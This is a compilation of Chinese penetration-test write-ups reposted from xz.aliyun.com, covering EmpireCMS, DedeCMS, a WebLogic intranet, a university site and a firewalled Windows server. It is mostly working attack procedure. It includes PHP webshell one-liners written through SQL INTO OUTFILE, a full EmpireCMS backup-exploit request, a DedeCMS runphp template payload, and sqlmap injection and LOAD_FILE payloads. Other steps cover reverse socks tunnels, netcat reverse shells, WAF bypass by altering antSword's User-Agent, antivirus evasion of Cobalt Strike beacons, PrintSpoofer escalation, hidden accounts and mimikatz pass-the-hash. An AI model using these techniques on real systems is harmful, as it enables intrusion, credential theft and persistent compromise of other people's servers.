'<?php phpinfo();?>' into outfile '/data/home/hmu072095/htdocs/e/admin/lyy.php'虽然爆了一个数据库连接错误,但是语句被成功执行,只是被写入的内容被替换成了空 可以成功访问但没有内容 可以写入正常字符 select 'test' into outfile '/data/home/hmu072095/htdocs/e/admin/1.txt' 初步判断是对php标签做了过滤,尝试其他写法进行绕过 1.select '<? phpinfo(); ?>' into outfile '/data/home/hmu072095/htdocs/e/admin/ly.php' 2.select '<script language="php"> phpinfo(); </script>' into outfile '/data/home/hmu072095/htdocs/e/admin/ly.php' 3.select '<?php @eval($_POST[1])?>' into outfile '/data/home/hmu072095/htdocs/e/admin/ly.php'只有最后的asp风格成功写入 尝试访问无法执行 查了一下linux上默认不开PHP短标签配置项,溜了溜了 总结1.通过御剑目录扫描工具对目标站点进行目录扫描,发现泄露了网站的备份文件www.zip,对其下载到本地进行源代码分析 2.通过phpstorm进行源代码加载,并搜索关键字key,pwd,password,passwd,并没有找到相关密码,通过robots.txt,发现是EmpireCMS 3.通过百度搜索EmpireCMS的数据表结构,发现phome_enewsuser为管理员记录表,通过全局批量搜索phome_enewsuser关键字,发现源码中泄露了网站的管理员的用户名和密码md5值,通过md5解密得到明文为kite 4.输入默认的后台路径/admin,可看到后台登录页面,输入得到的用户名和密码,即可登录后台。 5.在网站后台-模版-公共模版-js调用登陆模版处准备写入一句,发现表不存在,无法写入shell 6.在网站后台--系统--数据表与系统模板--管理数据表--导入系统模板,模板文件名:test.php.mod,且,存放的的数据表名为:phome_ecm_111,导入进入后,发现表不存在,无法写入shell test.php.mod: <?php file_put_contents("lyy.php","<?php @eval(\$_POST['lyy']); ?>");?> 7.在网站后台--系统--备份与恢复数据--执行SQL语句,写入一句话,前提条件需要:mysql配置secure_file_priv 不当,且需要知道网站绝对路径以及EmpireCMS<=7.5版本,这里无法获取到网站绝对路径,无法写入shell show variables like '%datadir%'; //查看网站绝对路径 select '<?php @eval($_POST[123])?>' into outfile '绝对路径/e/admin/lyy.php' //写入一句话 8.empirecms 7.5版本及之前版本在后台备份数据库时,未对数据库表名做验证,通过修改数据库表名可以实现任意代码执行,那么在网站后台--系统--备份与恢复数据--恢复数据--选择任意一个表,开始备份抓包拦截。注意备份的目录,如果目录不存在,系统会自动生成一个目录名。抓包拦截,并修改,发送请求。 POST /e/admin/ebak/phome.php HTTP/1.1 Host: www.xxx.com.cn Content-Length: 285 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://www.xxx.com.cn Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://www.xxx.com.cn/e/admin/ebak/ChangeTable.php?mydbname=hdm1010482_db Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: bxubwecmsdodbdata=empirecms; bxubwloginuserid=1; bxubwloginusername=Kite; bxubwloginlevel=1; bxubweloginlic=empirecmslic; bxubwloginadminstyleid=1; bxubwloginrnd=F3JiUXpyeXm6mWPTsdUG; bxubwloginecmsckpass=e816ccfcb01f4ed8ee0ad531de6fa67c; bxubwtruelogintime=1640762619; bxubwlogintime=1640762630 Connection: close phome=DoEbak&mydbname=hdm1010482_db&baktype=phpinfo()&filesize=300&bakline=500&autoauf=1&bakstru=1&dbchar=gbk&bakdatatype=1&mypath=hdm1010482_db_20211229152350&insertf=replace&waitbaktime=0&readme=&autofield=&tablename%5B%5D=@eval($_POST[123])&chkall=on&Submit=%BF%AA%CA%BC%B1%B8%B7%DD 9.最终生成shell访问连接为(webshell连接备份文件夹下的config.php):http://www.xxx.cn/e/admin/ebak/bdata/hdm1010482_db_20211229152350/config.php 10.通过蚁剑连接一句话,并获取到网站的绝对路径(/data/home/hmu072095/htdocs/e/admin/),这里可以直接通过网站后台--系统--备份与恢复数据--执行SQL语句 select '<?php phpinfo();?>' into outfile '/data/home/hmu072095/htdocs/e/admin/lyy.php' //发现被拦截: select '<?php @eval($_POST[1])?>' into outfile '/data/home/hmu072095/htdocs/e/admin/ly.php' //可正常写入一句话 11.通过网站后台--模板管理--自定义页面--增加自定义页面--页面名称(123.php),文件名../../page.html,页面内容: <?php fputs(fopen("shell.php","a"),'<?php phpinfo();@eval($_POST[cmd]);?>')?> 访问链接: http://www.xxx.com/e/admin/shell.php 原文链接: https://xz.aliyun.com/t/10740
  16. 0x00 前言此次渗透中的所有修改已经复原,且漏洞已经提交至cnvd平台 0x01 源码泄露在一个月黑风高的夜晚,闲来无事的我又开着脚本利用hunter进行互联网站点源码的扫描 在查看备份文件扫描结果时,看到了宝贝 二话不说,访问下载得到源码! 可以在注释信息处发现dedecms的痕迹 0x02 敏感信息泄露获得源码的第一步当然是获取敏感信息 先尝试全局搜索(crtl+shift+f)关键词 key pwd passwd password1.数据库信息泄露 2.后台管理员密码泄露 md5解密尝试解密,居然是一个弱口令 有了账户密码后当然是要找到后台管理地址,那么有了源码后台管理地址还不是手到擒来? 后台RCE->getshell源码中找到后台地址(居然改了个888) 用泄露的admin/admin888进入后台后,发现版本信息为dedecms PS1 0x03 历史漏洞既然已经获得了cms信息,第一步当然看看他的历史漏洞 查找SP1历史漏洞都是远程代码包含漏洞,但是这个站点已经将关键文件install.php删除(源码中不存在) 抱着侥幸心里又去尝试访问l一下(说不定后来又加上了呢)确实不存在,只能继续查看其他功能点 然后也尝试测试了许多SP2的漏洞payload但均失败 继续测试其他点继续查看发现系统设置->系统基本参数->其他选项中有模板引擎的禁用函数 但是明明没有模板引擎功能他为什么要禁用呢? 我带着这个疑问又重新翻看源码 果然又找到模板相关文件,(说明只是功能点被隐藏,文件依旧还在) 尝试访问,成功访问到并且能够正常执行 那么就好办了,根据dedecms模板规则,后台模板写入payload,访问即可执行PHP代码 {dede:field name='source' runphp='yes'}@eval($_POST['lyy']);{/dede:field} //调用方式 [field:字段名/] 这里的关键是runphp='yes' //php代码则是简单的一句话然后去将其他选项中的禁用函数全部删除保存 因为注入到了index.htm 所以连接webshell 的 url为首页 http://xxxxx:9890/index.php 成功getshell 本来还应该通过源码泄露得到的数据库账户密码尝试连接数据库的,但这里删shell跑路太急了就忘记了测了 0x04 总结1.通过御剑目录扫描工具发现目标站点存在备份文件www.rar,对其下载到本地,进行源代码分析2.通过phpstorm打开源代码,尝试全局搜索(crtl+shift+f)关键词如:key,pwd,passwd,password,发现数据库的配置连接页面config.php,其中里面包含了数据库的用户名和密码以及地址。并且在注释信息处发现dedecms的痕迹3.并且在网站源码中搜索到数据库的备份文件,里面泄露了网站管理员的用户名和密码md5值4.通过md5对密码md5值进行解密,成功解密出密码为admin8885.通过源码分析发现后台路径为/admin888,通过解密出来的密码以及用户名,可成功登陆到网站后台。6.通过搜索dedecms的历史漏洞,发现目标站点都不能利用。7.查看系统设置->系统基本参数->其他选项中有模板引擎的禁用函数,都大多数被禁用了。8.搜索模板相关的文件(templets关键字)发现templets_main.php是存在模板文件,访问模板文件http://www.xxx.com/admin888/templets_main.php,可正常查看到。9.对模板库文件中的index.php进行修改,这里添加一句话木马{dede:field name='source' runphp='yes'}@eval($_POST['lyy']);{/dede:field}//调用方式 [field:字段名/] 这里的关键是runphp='yes'//php代码则是简单的一句话10.最后通过格拉斯连接一句话木马(http://www.xxx.com/index.php) 原文链接: https://xz.aliyun.com/t/10692
  17. 故事的起因比较简单,用三个字来概括吧:闲得慌。 因为主要还是想练习练习内网,所以用了最简单粗暴的方法去找寻找目标,利用fofa来批量了一波weblogic,不出一会便找到了目标。 简单的看了下机器环境,出网,没有杀软(后面发现实际是有一个很小众的防火墙的,但是不拦powershell),有内网环境。 所以这里直接尝试cs自带的Scripted Web Delivery模块,直接创建一个web服务用于一键下载和执行powershell。 运行刚刚生成的powershell 这边的CS成功上线。 这里我们先来看看系统的信息。 根据上面的可知服务器是2012的,内网IP段在192.168.200.x 接着用Ladon扫了下内网环境。 这个内网段机器不多,可以看出有域环境。接着进行了多网卡检测,web检测。 可以看出这个内网有多个网段,开了一个web服务。 mimikatz只读到了一个用户跟加密的密码 密码可以在CMD5上解开 接下来就到最激动人心的扫描MS17010时刻!!! 可以看出有几台机器是可能存在MS17010的,所以打算开个socks代理直接MSF去打。 这里笔者劝大家买服务器的时候,尽量买按量计费的服务器,不要像笔者一样,贪图一时便宜,买了个带宽只有1M的HK服务器,CS自带的socks代理开了,本地测试连接都失败,更别说其他操作了。 所以这里,笔者只能临时开了个按量计费的服务器,利用EW重新开了一条隧道出来。具体流程如下: 把ew文件丢上刚刚开的服务器,执行:ew -s rcsocks -l 1900 -e 1200来配置一个转接隧道,意思就是将1900端口收到的代理请求转交给反连1200端口的主机 接着在目标机器上上传ew文件,执行:ew -s rssocks -d xxx.xxx.xxx.xxx(上方创建的服务器IP) -e 1200,开启目标主机socks5服务并反向连接到中转机器的1200端口,执行完稍等会就可以看到多了一行连接完成。 接着只需要在本地配置下代理就OK了。 Windows程序的话一般用sockscap配置以下这个代理就好了。 因为我们要用的是本地虚拟机里面的kali的MSF,kali的代理配置比较方便,先vim /etc/proxychains.conf ,在最下面加上代理 保存后直接proxychains 加上要启动的程序就挂上代理了。 比如我们msf要挂代理,就直接:proxychains msfconsole 内网之路永远是那么坎坷,在经历了一番换EXP,换工具+摇人之后,确定了MS17010确实是利用不了。 既然捷径走不了,那么换一条路,从web入手。 试了下弱口令注入啥的,没成功,谷歌翻译都翻译不过来,就算进了后台估计也看不懂,还是找其他途径吧。 于是进一步开始信息搜集: 查看保存登陆凭证,无 查看共享计算机列表 接着就开始尝试访问共享计算机的C盘 在最后一台时,发现成功访问了 Ping一下机器得到IP 192.168.200.6 右键一个beacon创建一个监听器 接着使用psexec_psh尝试上线192.168.200.6这台服务器 成功上线 接下来就对新上线的机器做一波信息搜集 没有其他发现 接下来回到起点,看看这个网段里面还有哪些机器 可以看到有四台linux机器,分别是22 , 1 , 5 , 11 这时候我们可以尝试一波弱口令。 只能说运气这玩意儿,用一点就少一点 简单的查看了进程之类的信息,没有发现,虽然这时候已经拿下了内网得两台机器,但是都不是域内机器,其他的linux主机测试弱口令又不正确,这时又陷入了僵局。 这时候,我看到先前拿下的.6的那台机器名为veeam backup,猜想这可能是一台备份服务器,他的硬盘内可能有备份文件,所以仔细检查了一下他的每个文件夹内容。 只能说真的,运气这玩意,该来的时候挡也挡不住。 在D盘的文件夹下,发现了一个叫Backup的文件夹,里面存放了三个机器的备份。 简单百度了下后缀,发现是一款叫Veeam® Backup & Replication的软件,他的功能是专门为Vsphere等做备份。 一瞬间我的思路就清晰了,只需要在本地安装Veeam® Backup & Replication这软件,再将这台DC的全量备份包压缩传到本地,再恢复成虚拟机,然后通过PE,用CMD.EXE重命名覆盖了OSK.exe,这样子就可以在登录界面调出system的命令行,再想办法添加管理员账户或者修改管理员账户进入界面,本地上线CS,再进行hashdump直接读出存储的域内用户HASH,在通过Pth就可以直接拿下线上的DC了。 说干就干,因为这台备份服务器不出网,但是他和21这台出网机器有一个共享文件夹,为了方便行事,偷偷在备份服务器上创建了一个隐藏账号,直接7z把最新的一个DC全量备份压缩成700M一个的压缩包,全部放到了共享文件夹中。 出网的这台机器也只有7001端口出网,所以找到了weblogic的web路径,从共享文件夹中把压缩包都放进了web路径中,从web端进行下载。由于这台出网机器的带宽实在是太低了,均速200K,还不停的卡掉,在经过了漫长的等待后,终于下了下来。 在这漫长的下载过程中,我先一步本机下载下了Veeam® Backup & Replication这软件, 突然发现一个很有意思的地方,就是他可以支持本地管理员账号登录。 又因为他备份的是其他IP的虚拟机,我猜想他应该是登陆了Vsphere。 所以又一次挂代理连上去看看。果然猜的没错,芜湖起飞。。相当于管理员权限。。。 本地下载的那个全量备份在本地还原也很简单,只需要装了软件双击就回自动打开软件。 还原完成 接下来就简单了。下载老毛桃 ,生成一个ISO的pe工具箱 挂载到虚拟机中,开机按ESC 进入PE后,重命名cmd.exe为osk.exe将原来C盘中的\windows\system32\osk.exe给覆盖了,这样子在开机的时候打开屏幕键盘就会弹出SYSTEM权限的命令行。 这里直接添加用户出现了点问题。 最后将某个域用户修改密码后添加到本地管理员组成功进入了系统。 最后生成exe上线的时候,憨批防火墙终于起保护了。 给憨憨防火墙一个正面图。 TMD在我本地虚拟机还跟我横?看我不把你关了。 然而关闭要密码--算了算了,,忍一忍。 最后还是用最初的powershell上线了。 接着最有仪式感的一幕 最后只需要拿着hash去怼线上的DC就完事了。 完事收工睡觉。 总结1.通过fofa搜索到目标系统是采用weblogic框架,通过weblogic利用工具可执行命令,这里上传冰蝎一句话到目标网站系统。并查询到目标系统存在小众的防火墙,经测试该防火墙对ps脚本不拦截。2.在VPS上通过cd自带的Scripted Web Delivery模块,直接创建一个web服务用于一键下载和执行powershel。URL路径:/a/123 主机地址:目标系统IP 端口:80 监听器:https 类型:posershell3.执行powershel,然后CS成功上线。4.通过C命令查询目标系统信息,发现目标系统是win2012 ,目标内网IP为192.168.200.21shell systeminfoshell ipconfig5。通过cs将ladon上传到目标系统中,通过ladon扫描内网系统.,发现目标有一个WEB服务主机。landon 192.168.200.1/24 OsScan6。通过mimikatz成功读取到用户名和密码hash值,通过md5对密码的NTML进行解密,成功解密为P@sssw0rd。7,通过ladon进行批量ms17-010扫描,发现存有几个系统存在ms17-010漏洞landon 192.168.200.1/24 MS170108.在公网VPS上执行以下命令,将1900端口收到的代理请求转交给反连1200端口的主机ew -s rcsocks -l 1900 -e 12009.将ew通过冰蝎上传目标系统中,并执行以下命令,开启目标主机socks5服务并反向连接到中转机器的1200端口ew -s rssocks -d xxx.xxx.xxx.xxx(公网VPS IP) -e 120010.本地WINDOWS在本地使用sockscap配置好socke5代理,本地虚拟机里面的kali的MSF,kali的代理配置比较方便,先vim /etc/proxychains.conf ,添加sock5嗲了socks5 目标IP 190011.在kali下msf要挂代理,就直接:proxychains msfconsole,在windows中sockscap添加ie浏览器访问的socks5代理,用于内网web访问,但是测试弱口令发现无法进入。12.继续信息收集,查看登录凭证,并有任何东西shell cmdkey /l13.查看共享计算机列表,并尝试访问计算机C盘,发现备份计算机可以访问共享shell ne viewls \\VEEAM-BACKUP\$14.通过ping目标共享计算机,查询出IP地址为192.168.200.6ping VEEAM-BACKUP15.在CS上创建一个监听器中转---监听---名字(c2)、payload(windows/beacon_reverse_tcp)、listen host :192.168.200.21 、listen port:444416.接着使用psexec_psh尝试上线192.168.200.6这台服务器,成功上线,起初发现该主机上并没有任何东西jump psexec _psh 192.168.200.617.通过之前ladon探测发现内网中22,1,5,11主机是linux系统,尝试弱口令,发现192.168.200.22存在弱口令,linux主机上并没有任何可利用的ssh 192.168.200.22 root 12345618.在VEEAM-BACKUP主机上发现了有一个Backup的文件,里面存放了三个机器的备份,它是一款叫Veeam® Backup & Replication的软件,他的功能是专门为Vsphere等做备份。19.发现VEEAM-BACKUP不出外网,这里通过7z将Backup文件进行命令打包压缩。在目标系统中的web目录下,通过命令共享将Backup文件拷贝到目标系统中。19.在本地安装Backup & Replication,并将备份文件进行恢复还原,发现登录窗口处有默认的用户名和密码以及IP,这个需要在目标内网中登录,这里可以通过在目标系统中通过cs开启sock4代理,本地通过Proxifier加载Backup & Replication的sock4代理成功访问。20.本地下载的那个全量备份在本地还原也很简单,只需要装了软件双击就回自动打开软件进行还原21.通过老毛桃的win pe进入系统,这里重命名cmd.exe为osk.exe将原来C盘中的\windows\system32\osk.exe给覆盖了,这样子在开机的时候打开屏幕键盘就会弹出SYSTEM权限的命令行。22.通过命令查询,发现还原的系统是域普通主机,这里通过命令添加用并将域用户修改密码后添加到本地管理员组成功进入了系统。net user hanli quer1345 @ /addnet localgroup administrators hanli /add23.在虚拟机中通过执行cs的后门成功上线,并通过cs的hasdump读取hash,并通过该hash进行域控HASH传递 原文链接: https://xz.aliyun.com/t/9374
  18. 0x01 前言目标是一大学,在一次挖洞过程中遇到个sql注入,尝试进一步利用扩大危害,漏洞已报送平台进行了修复 0x02 sql注入getshell失败在id处连续加两个单引号都报错,经过探测发现是数字型的注入且过滤了空格,这里可以用/**/代替 于是直接上sqlmap python sqlmap.py -u url --batch --tamper=space2comment.py –dbs 发现是dba权限: python sqlmap.py -u url --batch --tamper=space2comment.py --is-dba 试了很多方法找web路径 最后注意到操作系统是FreeBSD 无意中看到这个 char(47)就是’/’,立马想到可以通过这个遍历目录、找路径 通过从根目录开始逐层遍历,最终找到网站根目录: 写入shell失败,转换成16进制规避单引号还是不行 但是这个注入可以读取服务器上的任意敏感文件(包括非web目录),危害巨大 0x03 从其它点继续尝试读取sql注入处代码,发现并没有代码层面的过滤,explode() 函数把字符串打散为数组,这里以空格为分隔,取数组的第一个,变相地过滤了空格,把空格换成内联注释就能注入 根据泄露的数据库账号、密码尝试连接3306端口失败,估计绑定了本地ip 继续遍历目录,发现了mysql的登陆界面 登录之后却是空白界面,读取处理登录逻辑的代码发现登陆成功直接设置session但不跳转,登陆后直接访问首页就行 查一下secure_file_priv,发现是空值,并没有限制 尝试利用日志写入webshell,发现没有权限设置日志路径 找到了网站后台 数据库里面查到的账号和密码hash值 在线网站解密hash值得到明文 登录失败,读取一下源码 发现是加了盐的,于是加盐再解密得到正确密码 成功登陆后在人員資料管理新增处发现一个上传照片的地方 但是只能上传图片文件 上传成功之后,突然想到了sql写shell失败是不是因为目录权限问题,网站限制了除上传目录外其它目录都不可写? 于是尝试写入shell 成功,果然是目录写权限问题 发现蚁剑连不上,估计waf拦截了流量。看了一下蚁剑的流量加密,蚁剑流量有一个重要特征就是User-Agent为antSword/版本,另外使用了编码器的话还要将解码函数发过去,所以解码函数这里也是一个特征,需要自定义编码器和解码器。 修改antSword-master/modules/request.js和antSword-master/modules/update.js两个文件的User-Agent后成功连接,waf仅仅拦截了UA这一明显特征 反弹shell失败,nc是基于tcp/udp协议的,所以可能的原因有:反弹的命令不存在、禁止出站IP、禁止tcp协议出站端口 确认sh存在: 出站端口为访问外网,查询网络连接发现54454端口可以出站 于是监听54454端口后成功反弹shell 提权失败。服务器内核版本过高,无法利用内核漏洞提权,尝试计划任务、环境变量、和suid提权发现没有可以利用的地方,sudo提权也不行,第三方服务中udf提权发现插件目录不可写,几个文件权限也配置正常,也没有发现其它敏感信息泄露 0x04 总结1.目标系统中加单引号报错,但是过滤空格,可以用/**/代替绕过2.使用sqlmap中的space2comment.py脚本进行注入python sqlmap.py -u http://ip/newform.php?id=123 --batch --tamper=space2comment.py –dbs //读取数据库名python sqlmap.py -u http://ip/newform.php?id=123 --batch --tamper=space2comment.py --is-dba //查看是否为dba,该系统是dba权限3.通过NAMP扫描,目标系统是freedb(sunos也可以),可以同构load_file()函数直接遍历目录3.通过load_file()函数逐渐读取目标系统目录http://ip/newform.php?id=123/**/union/**/select/**/1,LOAD_FILE('/'),3,4,5,6,7,83.读取到网站根目录http://ip/newform.php?id=123/**/union/**/select/**/1,LOAD_FILE('/home/db/www/'),3,4,5,6,7,84.写入webshell失败,尝试读取数据库配置文件。显示了网站的数据库的用户名和密码http://ip/newform.php?id=123/**/union/**/select/**/1,LOAD_FILE('/home/db/www/ncuoga/cbg/oga/newsform.php'),3,4,5,6,7,85.继续通过LOAD_FILE目标遍历,发现在根目录下存在pmbp数据库管理的页面,通过读取到的数据库和用户名和密码,登录pmbp数据库管理员页面,但是显示空白不能跳转到后台管理页面,直接访问数据库管理页面。6.查询SQL语句查询权限,显示空置,并没有对写入进行限制show VARIABLES LIKE "secure_file_priv"7.但是通过mysql的log写入shell,是不成功的,可能对写入的目录权限有限制。8.通过目录扫描,找到目录系统的后台管理,这里的后台用户名和密码,可通过sqlmap直接读取出用户名和密码hash,密码hahs直接通过md5进行成功解密,不能成功登陆到系统,可能密码不对。9.通过load_file()函数读取后台管理页面,发现密码是加盐的,这里加盐再解密得到正确密码,并成功登陆到目标后台10.在后台的资料管理的照片处,可直接上传图片,并显示图片的绝对路径地址。11.参数通过mysql将蚁剑一句话写入到图片的绝对路径地址下。可成功写入12.通过蚂剑连接一句话,但是显示连接不成功,可能被WAF拦截了,这里需要修改蚂剑的User-Agent,以及使用编码器baa64的编码绕过WAF拦截,并成功链接。修改antSword-master/modules/request.js和antSword-master/modules/update.js两个文件的User-Agent后成功,并使用码编码bas6413.通过nc进行反弹,发现反弹失败,发现目标系统禁止出站IP、禁止tcp协议出站端口,并发现出站端口为访问外网,查询网络连接发现54454端口可以出站。nc -lvvp 544454 原文链接: https://xz.aliyun.com/t/10527
  19. 前言本文为一篇利用非常规手段突破安全策略的内网渗透记录 环境简述&说明web打点getshell,webshell是冰蝎,权限为.net,权限很低,服务器为server 2016,目标不出网!装有杀毒软件(火绒、微软自带的WD),ASMI默认开启,而且对power shell有特殊策略限制。Tcp、icmp、DNS协议不通,无法直接与公网的cs服务端建立连接,(内网的cs服务端也无法与其建立连接)公网也无法访问目标web服务(纯内网web服务)极其严格的出入站策略入站规则:只有http允许入站,只有一个80、8080两http端口能供内网机器正常访问 出站规则:不允许非8080端口对外通讯。 手绘了一张拓扑图,将就着看一下。 为什么要上线cs webshell权限太低,限制性大,需要上线cs提权,因为cs是采用反射dll来加载pe程序,从而在执行一些敏感操作的时候能起到一定的bypass作用,例如mimikatz抓密码等操作。 像转储LSA到本地然后再dumphash都是行不通的,因为webshell权限太低了,转储LSA至少得管理员权限。 而且目标网络环境较为苛刻,任何非http协议的通讯都会被防火墙拦截,无法正常建立一个具有交互功能的shell。 坑点一:利用Pystinger反向代理上线cs在查阅相关资料后,发现网上大部分文章都通过Pystinger来实现内网反向代理,利用http协议将目标机器端口映射至cs服务端监听端口,能在只能访问web服务且不出网的情况下可以使其上线cs。 但是这里有个问题,公网cs服务器无法访问目标的web服务,只有同处于在一个内网的机器才能访问目标web服务,所以无法直接在服务器上搭建pystinger将目标机端口反向代理至公网cs监听端口上。 这里采用的解决方法是直接在本机上搭建一个cs服务,然后再进行pystinger反代操作。 本地起一个cs服务 常规配置reserver型监听器,监听端口60020(上面图中6002少写了个0...)proxy.aspx上传至目标服务器,访问: 4.stinger_server.exe 上传到目标服务器,执行命令:start D:\stinger_server.exe 0.0.0.0 5.跳板机本地执行命令:stinger_client -w http://10.1.1.1:8080/2.aspx-l 0.0.0.0 -p 4002 6.免杀处理一下resever_bind,上传至目标并执行不上线,执行一下tasklist发现shell.exe已经执行了,就是不上线,pystinger报错。 最后的结果是,报错,具体原因不知道,可能是目标web环境有问题,可能是reserver型shell通讯有问题。 遂Pystinger反代上线cs失败。坑点二:正向代理+正向shell上线公网CS 既然反向代理行不通,那就用正向代理,然后采用正向shell来连接。 目标机器不出网,本机能出网,可通过本机当作跳板机将目标机器的正向shell带出来。 原理图: 常见的http隧道工具Neo-reGeorg、reGeorg(应该这两款用的比较多)能适用于大多数网络环境,但是在这里就是不行,会出现跳板机直接与cs服务器断开的情况,而cs的connect正向连接请求是由跳板机的beacon发出的,你只能将beacon代理进socks隧道才能使connect请求能连接正向shell的监听端口,但因为目标机不出网,在跳板机的beacon进入代理隧道之后是无法连接到处于公网的cs服务端的,所以只能是端口对端口映射,而不能用http协议搭建的socks隧道(我猜的)。 所以这里将使用ABPTTS进行http隧道搭建。 ABPTTS优点 对抗特征检测十分优秀 创建的隧道十分稳定1、 配置abptts:python abpttsfactory.py -o server \\生成服务端脚本,初始化。 2、 上传server脚本到目标机器坑点三:文件上传 这个地方冰蝎、大马都传文件传不上去,只能用哥斯拉的大文件上传把abptts.aspx传了上去(后面exe的上传也是用的哥斯拉的大文件上传功能)exe文件落地也是个坑,在正常环境中,我们可以用certutil、powershell等方法下载exe到目标上,但是这台机器他不出网,因为出站规则的原因,甚至都无法访问内网中其他机器的web服务器,最后用哥斯拉的大文件上传解决了这个问题。 上传完成之后的abptts.aspx地址:http://10.1.1.1:8080/abptts.aspx 访问一下abptts.aspx,页面回显一长串密文说明abptts客户端正常 3、 启动http隧道Python abpttsclient.py -c server/config.txt -u "http://10.1.1.1:8080/abptts.aspx"-f 127.0.0.1:7777/127.0.0.1:1111 坑点四:正向Bind免杀Cs的正向shell介绍(beacon tcp) 正向shell的作用原理是,bind在目标机器上开放一个监听端口,等待其他主机来访问这个监听端口,子Beacon从父Beacon接受请求,而不是直接与cs服务端通讯。 而反向shell则是,由目标发起请求访问cs服务端的监听端口 创建一个正向监听器: 生成正向载荷(在生成正向载荷的时候只能选择stageless Beacon ): 为什么使用正向shell: 假若目标机器的出站规则十分严格且目标也不出网,反向shell在这种情况下则无法正常与cs服务端保持通讯。 假若采用正向shell的话,在无论他的入站规则多严格,他也不会去阻止本地端口之间的通讯,这样就能绕过严格的出入站规则策略。 通讯过程: Cs服务端(公网)--> 跳板机(父baecon)--> 7777端口--> 目标8080端口(http隧道)--> 目标1111端口(子baecon) Bypass分析 在目标机的防火墙眼中是本地的8080端口与本地的1111端口通讯,而攻击机与目标的8080端口则是正常被允许的交互行为,从而bypass了出入站策略。正向Bind免杀上面有提到过目标上有火绒和WD两款杀毒,直接上传正向shell肯定是会被秒杀的,本地测试报毒。 Reserver_Bind免杀较为简单,直接生成shellcode,通过分离免杀等方法加载shellcode。 但是正向shell不能生成shellcode,它属于stageless型Beacon,而stageless型Beacon无法生成shellcode,所以无法通过常规的分离式免杀来绕过杀毒。 提一下stager与stagerless的区别: stager和stagerless型beaconStager型:只包含简单的加载逻辑部分,stager通过将c2的payload加载进内存从而实现pe加载,这种加载方式也就是反射型DLL加载。Stagerless型:stager+payload全写死在木马中,相比较于Stager型体积更大,特征码更明显。 由下图可以看到,在生成payload的时候没有正向bind监听器这个选项,只有Reserver监听器选项。 既然无法通过混淆加载器的方法来免杀,那就加强壳+定位特征码的方法来免杀。 国内大部分杀软估计都是基于模糊hash算法的特征码查杀,对代码层强混淆几乎就能绕过大部分杀毒,强壳(ASPack、upx、Safengine、VMPoject,实测Aspack、upx效果不是很好)。 主要用到的工具:VirTest5.0+ Resource Hacker +SafengineShielden+upxVirTest5.0: 自动化定位特征码,因为不会汇编,所以就直接用010Editor修改特征码的十六进制来破环特征码。 其他修改特征码的方法: 替换汇编函数、调换指令顺序、置零跳转。 注意:在修改完特征码之后,要测试exe还能不能正常运行。SafengineShielden 反LPK注入、反调试器附加、反内存转储选上,复杂度拉满,虚拟机检测不要打勾。 最后加一层upx壳(upx壳视情况而定,有时候加了upx壳反而会被杀),Resource Hacker加入一个任意图标文件,成功过掉火绒。目标机运行正向shell上传正向bind,在冰蝎上执行 D:/beacon_se.exe,可以看到木马在目标机上开启了1111端口,我们通过http隧道去连接这个位于目标机1111端口上的正向bind。 本机(跳板)正向连接shell本机(攻击者)上线cs作为跳板机,然后在本机shell中执行 connect 127.0.0.1 7777 成功正向上线 10.1.1.1,但是上线的shell权限极低,mimikatz无法运行,因为正向shell的原因,就算提权成功也无法直接反弹shell,而且因为目标系统是2016,插件中的常见提权脚本都会提权失败。 PrintSpoofer提权上传PrintSpoofer.exe至目标主机。 执行如下命令,以system的权限运行我的正向shell,那么我将得到一个system权限的shell,而不是asp的低权限shell。 C:\Windows\Temp\PrintSpoofer -c D:/1111_se.exe Netstat -ano确认一下有没有在本地开放一个1111端口。 正向shell正常运行,跳板机再次连接正向bind。 connect 127.0.0.1 7777 成功提权,渗透至此已基本结束战斗,得到一个system权限的正向shell,mimikatz抓密码,无明文,但能拿到hash。 绕过杀毒添加用户&&登录桌面Net1改名添加用户,报错,必然是被火绒拦截了,上杀器直接驱动层干杀软。 本地实验能干掉,但是不知道为什么在目标上就实现不了。 换思路:火绒、360等国内杀毒拦截添加用户命令往往只针对net、net1这俩进程,并没有hook底层函数,所以我们只需要不去执行net、net1而去直接调用底层函数就能绕过杀毒的监控。 原理不去深度刨析了,网上有文章。 Windows API 添加管理员用户 项目地址:https://github.com/newsoft/adduser 绕过杀毒添加上了一个用户,接下来就是常规操作,用打印机漏洞提权,利用sys权限切换到adminsitrator用户的桌面。hash传递攻击 再或者就是hash传递,直接上adminsitrator的桌面。sekurlsa::pth /user:Administrator /domain:用户名 /ntlm:194f34439dd27846db00c6723036da6b "/run:mstsc.exe /restrictedadmin"194f34439dd27846db00c6723036da6b Hash传递的好处就是,动静更小,不需要新建用户,留下的痕迹更少,降低攻击者被发现的概率。 如下图: 跟上面操作一样,把对方的3389端口反向代理至本地,连接之。 最后附上登录的桌面的截图,登上来就是一个backstab的报错,这刚好就解释了之前在干火绒的时候,为什么没有kill成功(因为程序兼容性问题导致崩溃了)。 结尾总结一下整个渗透过程中有趣的几个点,整个流程大概花了两天的时间,主要是有几个地方踩坑了。 第一点:写http隧道马的时候,用哥斯拉直接编辑新建一个隧道马,但是连接的时候报错,可能是哥斯拉出现了数据断流,导致写进去的文件缺东西了,后来直接把隧道马传上去就不报错了。第二点:网上的例子大多数都用pystinger反代cs服务端来处理这种不出网上线cs的情况,但是可能因为目标网络环境的不一样导致各种玄学报错,所以Pystinger的局限性还是很大的,而且Pystinger客户端还不免杀。第三点:正向shell免杀,不多说的,cs的无阶段木马都是这样,无法通过混淆加载器的方法免杀。第四点:正向shell的提权,cs插件提权只能反弹一个反射型的shell,无法反弹正向shell。第五点:有趣的是,无阶段木马是能生成powershell脚本的,而powershell脚本是很好混淆免杀的,但是目标是server2016,默认开启AMSI,混淆免杀在它面前形同虚设。(要是目标是2012、2008系统就可以通过powershell正向bind上线)总结 一、环境限制:1.通过冰蝎连接本机系统服务器,的webshell,低权限,server 20162.内网中的目标系统装有火绒,ASMI默认开启,对ps脚本策略有限制。3.内网中的目标系统不能和公网直接通信,也不能通过dns,tcp,icmp和目标系统通信,但是本机系统可以通过http 